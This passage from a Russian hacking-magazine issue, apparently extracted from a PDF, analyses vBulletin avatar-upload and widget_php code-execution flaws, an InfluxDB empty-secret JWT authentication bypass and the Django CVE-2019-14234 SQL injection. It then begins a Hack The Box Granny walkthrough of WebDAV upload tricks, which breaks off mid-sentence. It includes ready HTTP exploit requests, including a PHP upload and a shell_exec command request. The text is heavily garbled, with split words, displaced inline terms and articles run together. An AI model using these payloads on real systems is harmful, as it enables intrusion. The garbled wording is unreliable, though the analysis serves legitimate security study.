‐‐‐WebKitFormBoundary2V36WCZNIGxAuYwu
Content‐Disposition: form‐data; name="securitytoken"

CSRF‐токен
‐‐‐WebKitFormBoundary2V36WCZNIGxAuYwu‐‐

Ес ли здесь прос то попытать ся заг рузить PHP‐файл, то ничего не вый дет. Рас‐ 
ширение фай ла опре деля ется биб лиоте кой, которая работа ет с кар тинка ми.
Если передан ный документ не будет  кар тинкой,  то  скрипт прос то прек ратит
свою работу с ошиб кой  .not_an_image

core/vb/library/user.php
1335:   public function uploadAvatar($filename, $crop = array(), 
$userid = false, $adminoverride = false)
1336:   {
...
1339:       $isImage = $imageHandler‐>fileLocationIsImage($filename);
1340:       if ($isImage)
1341:       {
...
1359:           $fileInfo = $imageHandler‐>fetchImageInfo($filename);
...
1361:       else
1362:       {
1363:           // throw something useful here.
1364:           throw new vB_Exception_Api('not_an_image');
1365:       }
...
1435:       $ext = strtolower($fileInfo[2]);
1436:
1437:       $dimensions['extension'] = empty($ext) ? $pathinfo[
'extension'] : $ext;
...
1485:                   'extension' => $dimensions['extension'],
...
1511:       $result = $api‐>updateAvatar($userid, false, $filearray, 
true);

Пос ле всех манипу ляций вызыва ется    с  парамет рами ава тара
в  .

updateAvatar
$filearray
Од нако сущес тву ет воз можность нап рямую выз вать этот метод API. Что бы

это сде лать, нуж но отпра вить зап рос на эндпой нт 
.  Если  заг лянуть  в  тело  метода  ,  то  мож но  обна ружить

любопыт ный учас ток кода.

ajax/api/user/updateA‐
vatar updateAvatar

core/vb/api/user.php
4111:   public function updateAvatar($userid, $avatarid, $data = 
array(), $cropped = false)
4112:   {
...
4149:       if ($useavatar)
4150:       {
4151:           if (!$avatarid)
4152:           {
...
4166:               if (empty($data['extension']))
4167:               {
4168:                   $filebits = explode('.', $data['filename']);
4169:                   $data['extension'] = end($filebits);
4170:               }
4171:
4172:               $userpic‐>set('extension', $data['extension']);
...
4182:                   $avatarfilename = "avatar{$userid}_{$avatar
revision}.{$data['extension']}";
...
4186:                   $avatarres = @fopen("$avatarpath/$avatar
filename", 'wb');
...
4187:                   $userpic‐>set('filename', $avatarfilename);
4188:                   fwrite($avatarres, $data['filedata']);
4189:                   @fclose($avatarres);

Здесь  рас ширение  берет ся  из  мас сива  ,  который  мож но  прос то
передать в теле зап роса. Оно будет иметь сле дующий вид:

$data

userid=0&avatarid=0&data[extension]=<расширение_файла>&data[filedata]
=<содержимое_файла>&securitytoken=<токен>

Ког да   уста нов лен в ноль, скрипт выбира ет текуще го авто ризо ван ного
поль зовате ля, а  , рав ный нулю, говорит, что нуж но заг ружать ава тар,
а не уда лять.

userid
avatarid

Вот мы и подоб рались к самой сути уяз вимос ти. vBulletin не про верят дол‐ 
жным  обра зом  парамет ры    и  ,  и  это  поз‐ 
воля ет  тво рить  чудес ные  вещи.  Нап ример,  уста новим  рас ширение  ,  а  в

 переда дим прос той PHP‐код.

data[extension] data[fildeata]
php

data[filedata]

POST /ajax/api/user/updateAvatar HTTP/1.1
Host: web.fh
Content‐Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X‐Requested‐With: XMLHttpRequest
Content‐Type: application/x‐www‐form‐urlencoded; charset=UTF‐8
Cookie: PHPSESSID=355lckvqh94p8sj61v7a4rvkvq; np_notices_displayed=; 
lastvisit=1576635268; lastactivity=1576672162; sessionhash=d3c263
fa681b0b7cf8be74eab13aee6a

userid=0&avatarid=0&data[extension]=php&data[filedata]=<?php 
phpinfo(); ?>&securitytoken=1576672162‐20c4434e90101a08780f3e04
47410b20c03dc8a4

Заг рузка PHP‐скрип та как ава тара через метод API
/ajax/api/user/updateAvatar

Ес ли  сер вер  вер нул  ,  то  дело  в шля пе,  PHP‐скрипт  был  соз дан.  Что бы
узнать путь до него, нуж но опре делить текущий  . Это мож но
сде лать,  прос то  заг рузив  сле дом  валид ную  кар тинку.  Сер вер  вер нет  путь
до фай ла вида

true
avatarrevision

{"hascustom":1,"avatarpath":"customavatars\/avatar2_36.png"}

Чис ло пос ле под черки вания и будет текущей ревизи ей. Зна чит, пре дыду щая
была на еди ницу мень ше, так как она авто мати чес ки инкре мен тиру ется с каж‐ 
дой заг рузкой. В моем слу чае это 35, а зна чит, путь до скрип та будет таким:

http://web.fh/core/customavatars/avatar2_35.php

Пе рехо дим по нему и видим информа цию из  .phpinfo()

Ус пешная экс плу ата ция vBulletin. Выпол нение про изволь ного PHP‐кода

Ко неч но  же,  сущес тву ет  ,  который  авто мати зиру ет  все  дей ствия
и  пре дос тавля ет  интерфейс  для  выпол нения  команд  в  виде  шел ла.  Нуж но
лишь ука зать логин и пароль поль зовате ля форума.

экс пло ит

Экс плу ата ция RCE в vBulletin
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Вто рая  уяз вимость  в  vBulletin  еще про ще,  но  при  этом  гораз до опас нее.
Все потому, что экс плу ата ция не тре бует вооб ще никаких при виле гий от ата‐ 
кующе го.

В vBulletin, как и во всех сов ремен ных CMS, сущес тву ет сис тема вид жетов.
Это  неболь шие  кусоч ки  кода,  час то  динами чес кие,  которые  мож но  исполь‐ 
зовать при фор мирова нии кон тента на сай те. Один из таких вид жетов — PHP.
Как  понят но  из  наз вания,  он  поз воля ет  выпол нять  про изволь ный  PHP‐код
и выводить его резуль таты на сайт.

PHP‐вид жет в vBulletin

За меча тель ная  вещь,  вот  толь ко  дос тупна  она  не  одним  адми нис тра торам,
а  любому  поль зовате лю,  который  отпра вит  вер ный  зап рос  к 

.
ajax/render/

widget_php
Все  вид жеты  ини циали зиру ются  при  уста нов ке  vBulletin.  Информа ция

о шаб лонах и непос редс твен но самих вид жетах записы вает ся в таб лицы 
  и    базы  дан ных.  Вот  так  выг лядит  инте ресу ющий  нас 
.

tem‐
plate widget wid‐
get_php

За пись в таб лице widget

Шаб лон вид жета widget_php в таб лице template

Со дер жимое шаб лона фор миру ется при пар синге XML‐фай ла во вре мя уста‐ 
нов ки vBulletin.

core/install/vbulletin-widgets.xml
1114:   <widget guid="vbulletin‐widget_15‐4eb423cfd6bd63.20171439">
1115:       <parentguid>vbulletin‐abstractwidget‐global</parentguid>
1116:       <template>widget_php</template>
1117:       <icon>module‐icon‐php.png</icon>
1118:       <isthirdparty>0</isthirdparty>
1119:       <category>Generic</category>
...
1143:           <definition>
1144:               <name>code</name>
1145:               <field>LongText</field>
...
1153:       </definitions>
1154:   </widget>

core/install/vbulletin-style.xml
65182:      <template name="widget_php" templatetype="template" date=
"1452807873" username="vBulletin Solutions" version="5.2.1 Alpha 2"><
![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widget
instanceid)">
...
65190: <div class="b‐module{vb:var widgetConfig.show_at_breakpo
ints_css_classes} canvas‐widget default‐widget custom‐html‐widget" 
id="widget_{vb:raw widgetinstanceid}" data‐widget‐id="{vb:raw 
widgetid}" data‐widget‐instance‐id="{vb:raw widgetinstanceid}">
65191:
65192:  {vb:template module_title,
65193:      widgetConfig={vb:raw widgetConfig},
65194:      show_title_divider=1,
65195:      can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
65196:
65197:  <div class="widget‐content">
65198:      <vb:if condition="!empty($widgetConfig['code']) AND 
!$vboptions['disable_php_rendering']">
65199:          {vb:action evaledPHP, bbcode, evalCode, {vb:raw 
widgetConfig.code}}
65200:          {vb:raw $evaledPHP}
65201:      <vb:else />
...
65207: </div>]]></template>

Об рати вни мание на стро ки 65 198–65 200. Если параметр   не пус той и в
нас трой ках vBulletin не отклю чено выпол нение PHP‐кода (а по дефол ту имен‐ 
но так оно и есть), то вызыва ется фун кция  .

code

evalCode

includes/vb5/frontend/controller/bbcode.php
213:    function evalCode($code)
214:    {
215:        ob_start();
216:        eval($code);
217:        $output = ob_get_contents();
218:        ob_end_clean();
219:        return $output;
220:    }

Эта фун кция выпол няет передан ный ей код на PHP и воз вра щает резуль тат.
Все,  что  нуж но,  что бы  про экс плу ати ровать  уяз вимость,  —  это  передать
на эндпой нт   необ ходимые конс трук ции в 

.
ajax/render/widget_php widget‐

Config['code']

POST /ajax/render/widget_php HTTP/1.1
Host: web.fh
Content‐Length: 65
Content‐Type: application/x‐www‐form‐urlencoded; charset=UTF‐8

widgetConfig[code]=echo shell_exec('uname ‐a; id; whoami');exit;

Вы пол нение про изволь ного кода в vBulletin через вид жет

В отве те сер вера получа ем резуль тат выпол ненных команд.
Это нас толь ко нелепо,  что  силь но напоми нает обыч ный бэк дор,  который

не очень‐то и пытались скрыть. Либо это досад ней ший недос мотр раз работ‐ 
чиков.  В  про дук тах  такого  калиб ра,  как  vBulletin,  подоб ного  про исхо дить
не дол жно.

Продолжение статьи →
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Да вай  нем ного  отдохнем  от  PHP  и  перек лючим ся  на  что‐нибудь  дру гое.
На оче реди база дан ных InfluxDB.

Это  кросс‐плат формен ное  опен сор сное  решение  для  хра нения  вре мен‐ 
ных  рядов,  так  называ емая    (TSDB).  Она  пол ностью
написа на  на  язы ке  Go,  не  тре бует  внеш них  зависи мос тей  и  чаще  все го
исполь зует ся  для  хра нения  боль ших  объ емов  дан ных  с  мет ками  вре мени.
Это, нап ример, дан ные монито рин га, мет рики при ложе ний и показа тели дат‐ 
чиков IoT.

time  series  database

Син таксис зап росов  InfluxDB чем‐то похож на SQL. В целом это не такой
уж и ред кий гость в кор поратив ной сре де, мне час тень ко попада ются инстан‐ 
сы во вре мя ауди тов.

Для начала запус тим докер‐кон тей нер с уяз вимой вер сией БД. При этом я
сра зу ука зываю адми нис тра тора и его пароль.

docker run ‐‐rm ‐d ‐p8086:8086 ‐e INFLUXDB_HTTP_AUTH_ENABLED=true ‐e 
INFLUXDB_ADMIN_USER=admin ‐e INFLUXDB_ADMIN_PASSWORD=admin ‐e INFLUX
DB_DB=sample influxdb:1.7.5

По дефол ту интерфейс дос тупен на пор те 8086.
Ба за  дан ных  под держи вает  аутен тифика цию  при  помощи  .

Заг лянем в сор цы.
то кенов  JWT

influxdb-1.7.5/services/httpd/handler.go
1553: func authenticate(inner func(http.ResponseWriter, *http.Request
, meta.User), h *Handler, requireAuthentication bool) http.Handler {
1554:   return http.HandlerFunc(func(w http.ResponseWriter, r *http.
Request) {
...
1585:           case BearerAuthentication:
1586:               keyLookupFn := func(token *jwt.Token) (interface
{}, error) {
1587:                   // Check for expected signing method.
1588:                   if _, ok := token.Method.(*jwt.Signin
gMethodHMAC); !ok {
1589:                       return nil, fmt.Errorf("unexpected 
signing method: %v", token.Header["alg"])
1590:                   }
1591:                   return []byte(h.Config.SharedSecret), nil
1592:               }
1593:
1594:               // Parse and validate the token.
1595:               token, err := jwt.Parse(creds.Token, keyLookupFn)
1596:               if err != nil {
1597:                   h.httpError(w, err.Error(), http.Status
Unauthorized)
1598:                   return
1599:               } else if !token.Valid {
1600:                   h.httpError(w, "invalid token", http.Status
Unauthorized)
1601:                   return
1602:               }

Ес ли  вни матель но  пос мотреть,  то  нет  никакой  про вер ки,  что 
не пуст. А это зна чит, что ата кующе му для авто риза ции дос таточ но передать
стро ку нулевой дли ны в качес тве сек рета и валид ное имя поль зовате ля.

SharedSecret

Да вай про верим это. Сге нери ровать дан ные мож но, нап ример, на  .jwt.io

Ге нери руем дан ные для аутен тифика ции в InfluxDB

Те перь прос то отправ ляем получен ную стро ку в хидере   вмес‐ 
те с необ ходимым зап росом. Я про бую выпол нить  .

Authorization
SHOW users

POST /query HTTP/1.1
Host: influx.fh:8086
Accept: */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2
VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTc3MjM5MDIyfQ.x‐gfOaWUKs9GBqhF5
p3MPYvQ5WhqNzxTTlElYpM8n_E

db=sample&q=show+users

Об ход аутен тифика ции в InfluxDB при помощи пус той перемен ной
shared‐secret

Ву аля,  сер вер  воз вра щает резуль таты  зап роса,  а  зна чит,  авто риза ция была
успешно прой дена.

Та кого, разуме ется, быть не дол жно, и раз работ чики уже выпус тили патч,
который добав ляет  необ ходимые про вер ки. Проб лему  усу губ ляло еще и  то,
что на момент пуб ликации уяз вимос ти в офи циаль ной докумен тации 

  не  было  никако го  упо мина ния  ни  о  ,
ни о  том, нас коль ко опас но оставлять его пус тым. Сей час спра воч ная стра‐ 
ница  обновле на  и  ,  да  и  сама  сис тема  теперь
авто мати чес ки отклю чает  аутен тифика цию этим спо собом,  если  ука зан пус‐ 
той  .

Authenti‐
cation  and  authorization shared‐secret

та кой  раз дел  уже  сущес тву ет

shader‐secret

SQL-ИНЪЕКЦИЯ В DJANGO
 Сей дж Абдулла (Sage M. Abdullah) 
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  в  вет ке  Django  1.11  все  вер сии  до  1.11.23,
в 2.1 до 2.1.11 и в 2.2 до 2.2.4

Ав тор:

Да та релиза:

CVE: CVE‐2019‐14234
Уяз вимые  вер сии:

Те перь  перек лючим ся  на  Python,  а  имен но  фрей мворк  Django,  который
доволь но  ред ко  мель кает  в  рас сылках  по  информа цион ной  безопас ности.
Сна чала  зай мем ся  тес товым  окру жени ем.  Здесь  за  нас  уже  все  сде лали
ребята из  . Кло нируй их репози торий и отправ ляй ся в пап ку 

.  В  ней  ты  най дешь  все,  что  нуж но.  Запус тить  готовый  стенд  мож но
парой команд.

vulhub CVE‐2019‐
14234

docker‐compose build
docker‐compose up ‐d

Сбор ка и запуск стен да для тес та уяз вимос ти в Django

На  бор ту  пос ледняя  уяз вимая  вер сия  Django  из  вет ки  2.2 —  2.2.3,  а  так же
необ ходимые  дан ные.  Пос ле  раз верты вания  окру жения  веб‐сер вер  будет
дос тупен на 8000‐м пор те.

Ра бота ющий стенд для тес тирова ния CVE‐2019‐14234

Пер вым делом идем в админку и авто ризу емся как  . Здесь
есть нес коль ко кол лекций. Поле   явля ется экзем пля ром клас са 

.

admin:a123123123
detail JSON‐

Field

vuln/migrations/0001_initial.py
04: from django.contrib.postgres.fields import JSONField
...
14:     operations = [
15:         migrations.CreateModel(
16:             name='Collection',
17:             fields=[
18:                 ('id', models.AutoField(auto_created=True, primar
y_key=True, serialize=False, verbose_name='ID')),
19:                 ('name', models.CharField(max_length=128)),
20:                 ('detail', JSONField()),
21:             ],
22:         ),
23:     ]

vuln/models.py
05: class Collection(models.Model):
06:     name = models.CharField(max_length=128)
07:     detail = JSONField()
08:
09:     def __str__(self):
10:         return self.name

Как  видишь,  в  качес тве  базы  дан ных  исполь зует ся  Postgres.  Дан ные  в  нее
были импорти рова ны из фай ла  .collection.json

docker-entrypoint.sh
6: wait‐for‐it.sh ‐t 0 db:5432 ‐‐ echo "postgres is up"
7:
8: python manage.py migrate
9: python manage.py loaddata collection.json

collection.json
01: [
02:     {
03:       "model": "vuln.Collection",
04:       "pk": 1,
05:       "fields": {
06:         "name": "Example 1",
07:         "detail": {
08:             "title": "title 1",
09:             "author": "vulhub",
10:             "tags": ["python", "django"],
...
16:       "model": "vuln.Collection",
17:       "pk": 2,
18:       "fields": {
19:         "name": "Example 2",
...
23:             "tags": ["python"],

Им порти рован ные дан ные в Django

Конс трук ция с дву мя ниж ними под черки вани ями (shallow key) говорит Django
о  том,  что  нуж но  выпол нить  рас ширен ную  филь тра цию  дан ных.  Нап ример,
тре бует ся  выб рать  записи,  которые  содер жат  тег  .  В  этом  поможет
конс трук ция вида  .

django
detail__tags__contains

Филь тра ция дан ных в Django при помощи shallow keys

Эта  конс трук ция  пар сится  и  тран сфор миру ется  в  зап рос  к  базе  дан ных.
В  тер миноло гии  Django    —  это  ,  а    —
это  .  Пер вое  говорит,  где  нуж но  искать  (в  каком  поле),  а  вто рое —
каким обра зом выпол нять срав нение с передан ными зна чени ями.

__tags transform __contains
lookup

/django-2.2.3/django/db/models/lookups.py
013: class Lookup:
...
129: class Transform(RegisterLookupMixin, Func):

Так как JSONField — это спе циаль ный тип дан ных в Postgres,  то для кор рек‐ 
тной работы с ним нуж но было изме нить логику обыч ных   и  .
И если   прак тичес ки не изме нил ся, то   — кар диналь но. Пос‐ 
мотрим на импле мен тацию метода  .

transform lookup
lookup transform

get_transform

/django-2.2.3/django/contrib/postgres/fields/jsonb.py
07: from django.db.models import (
08:     Field, TextField, Transform, lookups as builtin_lookups,
09: )
...
14: __all__ = ['JSONField']
15:
16:
17: class JsonAdapter(Json):
...
30: class JSONField(CheckFieldDefaultMixin, Field):
...
53:     def get_transform(self, name):
54:         transform = super().get_transform(name)
55:         if transform:
56:             return transform
57:         return KeyTransformFactory(name)

В  конеч ном  сче те  модель  дол жна  сге нери ровать  SQL‐зап рос.  За  это  отве‐ 
чает метод  .as_sql

/django-2.2.3/django/contrib/postgres/fields/jsonb.py
094: class KeyTransform(Transform):
095:     operator = '‐>'
096:     nested_operator = '#>'
...
098:     def __init__(self, key_name, *args, **kwargs):
099:         super().__init__(*args, **kwargs)
100:         self.key_name = key_name
...
102:     def as_sql(self, compiler, connection):
103:         key_transforms = [self.key_name]
104:         previous = self.lhs
105:         while isinstance(previous, KeyTransform):
106:             key_transforms.insert(0, previous.key_name)
107:             previous = previous.lhs
108:         lhs, params = compiler.compile(previous)
109:         if len(key_transforms) > 1:
110:             return "(%s %s %%s)" % (lhs, self.nested_operator), 
[key_transforms] + params
111:         try:
112:             int(self.key_name)
113:         except ValueError:
114:             lookup = "'%s'" % self.key_name

Как  вид но  из  кода,  если  я  передам  оди нар ную  кавыч ку  в  наз вании  клю ча,
который  нуж но  искать  в  объ екте  JSON,  то  разор ву  кон катена цию  стро ки
и нарушу логику зап роса.

SQL‐инъ екция в Django 2.2.3

SELECT COUNT(*) AS "__count" FROM "vuln_collection" WHERE ("vuln_c
ollection"."detail" ‐> 'ta'gs') @> %s')

Здесь  уже  мож но  при менять  обыч ные  тех ники  экс плу ата ции  SQL‐инъ екций,
а  так  как  это  Postgres,  то  сущес тву ет  воз можность  рас кру тить  ее  до 

.
вы пол‐ 

нения про изволь ного кода
Ана логич ную проб лему мож но наб людать в реали зации  .HStoreField

/django-2.2.3/django/contrib/postgres/fields/hstore.py
14: class HStoreField(CheckFieldDefaultMixin, Field):
...
25:     def get_transform(self, name):
26:         transform = super().get_transform(name)
27:         if transform:
28:             return transform
29:         return KeyTransformFactory(name)
...
80: class KeyTransform(Transform):
81:     output_field = TextField()
...
87:     def as_sql(self, compiler, connection):
88:         lhs, params = compiler.compile(self.lhs)
89:         return "(%s ‐> '%s')" % (lhs, self.key_name), params

На этом мы и закон чим. Впе реди новый год и, мож но не сом невать ся, новые
баги!

https://en.wikipedia.org/wiki/Time_series_database
https://ru.wikipedia.org/wiki/JSON_Web_Token
https://jwt.io/
http://web.archive.org/web/20190903060442/https://docs.influxdata.com/influxdb/v1.7/administration/authentication_and_authorization/
https://docs.influxdata.com/influxdb/v1.7/administration/authentication_and_authorization/#authenticate-using-jwt-tokens
https://nvd.nist.gov/vuln/detail/CVE-2019-14234
https://github.com/vulhub/vulhub/
https://github.com/vulhub/vulhub/tree/master/django/CVE-2019-14234
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
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ВЗЛОМ

Уме ние  поль зовать ся  тех никой  pivoting  —
проб роса  тра фика  к  жер тве  (и  обратно)
через  про межу точ ные  хос ты  —  жиз ненно
важ ный скилл для этич ного хакера, он при‐ 
годит ся  при  тес тирова нии  на  про ник‐ 
новение  любой  кор поратив ной  сет ки.
В  этой  статье  мы  прев ратим  про хож дение
двух  нес ложных  вир туалок  с 
в  полез ную  шпар галку  по  прок сирова нию
соеди нений во вре мя пен теста.

Hack  The  Box

На заре ста нов ления Hack The Box как онлайн‐пло щад ки для тре ниров ки вай‐ 
тхе тов  в  спис ке машин  зна чились  две  вир туал ки: Grandpa 
и Granny   Обе эти машины нацеле ны на экс плу ата цию уяз‐ 
вимос тей  WebDAV  (набора  допол нений  для  HTTP),  и  стра тегии  зах вата  их
root‐фла гов прак тичес ки не отли чают ся друг от дру га.

(IP:  )10.10.10.14
(IP:  ).10.10.10.15

По это му, что бы раз нооб разить про хож дения, мы сна чала быс тро рас смот‐ 
рим,  как  мож но  взло мать  каж дый  из  хос тов  по  отдель нос ти,  а  пос ле  это го
прев ратим один из них в шлюз, через который ата куем вто рой хост.

GRANNY
Пер вой мы будем про ходить вир туал ку Granny. Эта машина дос таточ но прос‐ 
та  (рей тинг  слож ности  —  3,4  бал ла  из  10),  одна ко,  как  по  мне,  она  мак‐ 
сималь но  приб лижена  к  слу чаям  из  реаль ной  жиз ни  (по  край ней мере  там,
где  не  сле дят  за  обновле ниями  ПО).  Недаром  имен но  такие  тач ки  час то
попада ются на сер тифика ции OSCP в лай товой ценовой катего рии.

Hack The Box — Granny

Раз ведка
Для начала ска ниру ем пор ты и иссле дуем най ден ные сер висы.

Nmap
Ска ниро вание  Nmap  я  про вожу  в  два  эта па:  повер хностное  (толь ко  SYN‐
пакеты, без скрип тов) и точеч ное по най ден ным пор там (с задей ство вани ем
скрип тового движ ка NSE и опре деле нием вер сий сер висов).

 

 

root@kali:~# nmap ‐n ‐Pn ‐oA nmap/granny‐initial 10.10.10.15 
root@kali:~# cat nmap/granny‐initial.nmap 

 
 
 

 
 

...
Host is up (0.065s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
80/tcp open  http
...

Ви дим толь ко один откры тый порт — 80‐й, веб. Узна ем, кто там живет.

 

 

root@kali:~# nmap ‐n ‐Pn ‐sV ‐sC ‐oA nmap/granny‐version 10.10.10.15 ‐
p80 
root@kali:~# cat nmap/granny‐version.nmap 

 
 

 
 

 
 

 
 

 
 

 

 
 

 

...
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http‐methods:
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH 
SEARCH MKCOL LOCK UNLOCK PUT
|_http‐server‐header: Microsoft‐IIS/6.0
|_http‐title: Under Construction
| http‐webdav‐scan:
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, 
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|   Server Date: Sat, 21 Dec 2019 18:04:11 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, 
PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_  Server Type: Microsoft‐IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...

Итак,  что  у  нас  есть?  Веб‐сер вер  Microsoft  IIS,  вер сия  6.0.  Если  спро сить
Google,  что  он  зна ет  об  этой  ревизии  IIS,  то  он  сдаст  «мел комяг ких»  с  пот‐ 
рохами: Windows Server 2003.

Уз наем вер сию Windows по вер сии веб‐сер вера IIS

Ин форма ции об архи тек туре Windows у нас нет, поэто му пока будем счи тать,
что это x86, ибо они были более рас простра нены в свое вре мя. Так же скрипт

 опо вес тил нас об уста нов ленном наборе HTTP‐рас‐ 
ширений  . В общем, все намека ет на то, что нам суж дено отпра вить ся
на иссле дова ние веба.

http‐webdav‐scan.nse
WebDAV

WWW

Ес ли парамет ры, переда ваемые ска неру, кажут ся
неоче вид ными,  рекомен дую  обра тить ся  к 

 машины CTF — там они опи саны более
под робно.

про‐ 
хож дению

Веб
Изу чим 80‐й порт с раз ных углов: от прос того бра узе ра до спе циаль ных ути‐ 
лит для работы с WebDAV.

Об щие све дения
На глав ной стра нице веб‐сер вера ( ) — заг лушка.http://10.10.10.15/

http://10.10.10.15:80/

Бра узер  ока зал ся  нем ногос ловен,  поэто му  пос тара емся  рас ширить  спи сок
наших зна ний о сис теме заголов ками HTTP‐хедеров.

 

 

root@kali:~# curl ‐I 10.10.10.15 
 

 
 

 
 

 
 
 

 
 

HTTP/1.1 200 OK
Content‐Length: 1433
Content‐Type: text/html
Content‐Location: http://10.10.10.15/iisstart.htm
Last‐Modified: Fri, 21 Feb 2003 15:48:30 GMT
Accept‐Ranges: bytes
ETag: "05b3daec0d9c21:348"
Server: Microsoft‐IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X‐Powered‐By: ASP.NET
Date: Sat, 21 Dec 2019 21:51:01 GMT

В  заголов ках  ожи даемо  при сутс тву ет  информа ция  о  том,  что  исполь зует ся
ASP.NET. Дер жи в голове две базовые схе мы, ког да речь заходит о сте ке тех‐ 
нологий веб‐раз работ ки:

LAMP =  inux +  pache +  ySQL +  HP• L A M P

WISA =  indows +  IS +  QL Server +  SP.NET• W I S A

В нашем слу чае, так как речь идет о Windows, плат форма ASP.NET выс тупа ет
в  роли  аль тер нативы  PHP.  А  это  зна чит,  что  имен но  этот  ком понент  сте ка
будет  сре дой для соз дания полез ной наг рузки бэк дора,  и было бы неп лохо
най ти спо соб дос тавки на сер вер фай лов с рас ширени ем asp/aspx.

WebDAV
Надс трой ки WebDAV прив носят    в дефол тный набор
HTTP‐зап росов. Один из них — метод  , который поз воля ет переме щать
(гру бо говоря, пере име новы вать) фай лы на сер вере. Идея нашего зло деяния
доволь но  прос та:  заг рузить  на  веб‐сер вер  легитим ный  файл  и  пере име‐ 
новать  его  в  исполня емый,  изме нив  рас ширение  на  asp  или  aspx.  Таким
обра зом мы обой дем чер ный спи сок из типов фай лов, которые нель зя было
заг рузить изна чаль но. Эта улов ка ста ра как мир, а в осно ве ее лежит небезо‐ 
пас ная  нас трой ка  веб‐сер вера  ( ),  доверя ющая  метод    кому
угод но.

до пол нитель ные методы
MOVE

OSVDB‐397 PUT

INFO

Для  клас сифика ции  угро зы  безопас ности  я  вос‐ 
поль зовал ся  нотаци ей  OSVDB.  OSVDB  (Open
Sourced  Vulnerability  Database)  —  опен сор сная
база  дан ных  уяз вимос тей,  которая  в  апре‐ 
ле  2016  года  прек ратила  свое  сущес тво вание.
Одна ко  здесь  нам  на  помощь  при шел  агре гатор
ИБ‐кон тента  Vulners,  который  впи тал  в  себя,
в  час тнос ти,  и  эту  базу  дан ных.  Под робнее
почитать  о  нем  мож но  в  статье  «

».

Vulners  —  Гугл
для  хакера.  Как  устро ен  луч ший  поис ковик
по уяз вимос тям и как им поль зовать ся

Для вза имо дей ствия с WebDAV есть нес коль ко удоб ных инс тру мен тов коман‐ 
дной стро ки, которы ми мы и вос поль зуем ся.

Сна чала  иссле дуем  сос тояние  безопас ности  с  помощью  .
К  сожале нию,  эта  ути лита  не  поз воля ет  ука зать  прок си‐сер вер,  что бы  пос‐ 
мотреть, какие имен но зап росы были отправ лены, поэто му мы пос тупим хит‐ 
ро:  запус тим  Burp  Suite,  перей дем  на  вклад ку  Proxy →  Options  и  добавим
еще один лис тенер   на интерфейс loopback.

davtest

10.10.10.15:80

Нас трой ка допол нитель ного лис тенера в Burp Suite

Те перь  я  могу  нат равить    на  localhost  точ но  так  же,  как  на 
 и все зап росы полетят через прок сю Burp.

davtest
,10.10.10.15

 

 

 

root@kali:~# davtest ‐rand evilhacker ‐url localhost 
 

 
 

 
 

 
 
 

 
 
 
 
 
 
 
 
 
 
 
 

********************************************************
Testing DAV connection
OPEN            SUCCEED:                localhost
********************************************************
NOTE    Random string for this session: evilhacker
********************************************************
Creating directory
MKCOL           FAIL
********************************************************
Sending test files
PUT     aspx    FAIL
PUT     php     FAIL
PUT     cgi     FAIL
PUT     jhtml   FAIL
PUT     html    FAIL
PUT     asp     FAIL
PUT     txt     FAIL
PUT     cfm     FAIL
PUT     pl      FAIL
PUT     shtml   FAIL
PUT     jsp     FAIL

********************************************************

Нес мотря на  то  что,  по мне нию  ,  все попыт ки  заг рузить  какой‐либо
файл на сер вер про вали лись, мы можем открыть исто рию Burp и пос мотреть,
что же на самом деле про изош ло.

davtest

Ис тория HTTP‐зап росов Burp Suite

Как  вид но  из  скрин шота,  раз ные  зап росы    получи ли  раз ные  отве ты
веб‐сер вера:

PUT

при попыт ке заг рузить файл с рас ширени ем aspx — катего ричес кий зап‐ 
рет (403);

•

для фай лов  .asp,  .cgi,  .shtml — неоп ределен ное поведе ние  (404,  не  уве‐ 
рен, почему IIS выб рал имен но эту ошиб ку);

•

для все го осталь ного — кон фликт заг рузки (409).•

Пос ледняя  ошиб ка  прив лекла  мое  вни мание,  потому  что  встре чает ся  она
не  так  час то  и  свя зана  в  основном  с  кон флик тами  вер сий  заг ружа емо го
и сущес тву юще го на сер вере фай лов.

«Этой ошиб ке здесь не мес то», — подумал я и пос мотрел вни матель нее
на тело зап роса заг рузки прос того тек сто вого фай ла.

PUT /localhost/davtest_evilhacker.txt HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User‐Agent: DAV.pm/v0.49
Content‐Length: 19

TXT put via davtest

Вся проб лема в том, что   попытал ся заг рузить эти фай лы в несущес‐ 
тву ющий каталог  . Еще раз открыв исто рию HTTP, я уви дел зап рос

  на  соз дание  дирек тории,  который  так же  про валил ся  с  ошиб кой  409.
Выг лядел он так.

davtest
/localhost

MKCOL

MKCOL /localhost/DavTestDir_evilhacker/ HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User‐Agent: DAV.pm/v0.49
Content‐Length: 0

Как нет рудно догадать ся, проб лема зак люча ется в попыт ке соз дать вло жен‐ 
ный  каталог    внут ри  несущес тву юще го  родите ля 

 Не знаю, уме ет ли так делать WebDAV в прин ципе (смот реть спе‐ 
цифи кацию  было  лень;  может,  в  ком мента риях  под ска жут),  но,  если  поп‐ 
робовать  соз дать  одно уров невую  дирек торию    она  успешно
появит ся, и все вста нет на свои мес та.

/DavTestDir_evilhacker
./localhost

,/localhost

Соз дание катало га /localhost в Burp Suite

Заг рузка тек сто вого фай ла в каталог /localhost в Burp Suite

Пос ле  это го  тек сто вый  файл  успешно  заг рузил ся,  а  это  озна чает,  что  наш
план в силе и мож но прис тупать к генера ции полез ной наг рузки.

Шелл от име ни NT AUTHORITY\NETWORK SERVICE
Те перь  у  тебя  есть  нес коль ко  вари антов  выбора  полез ной  наг рузки,  и  все
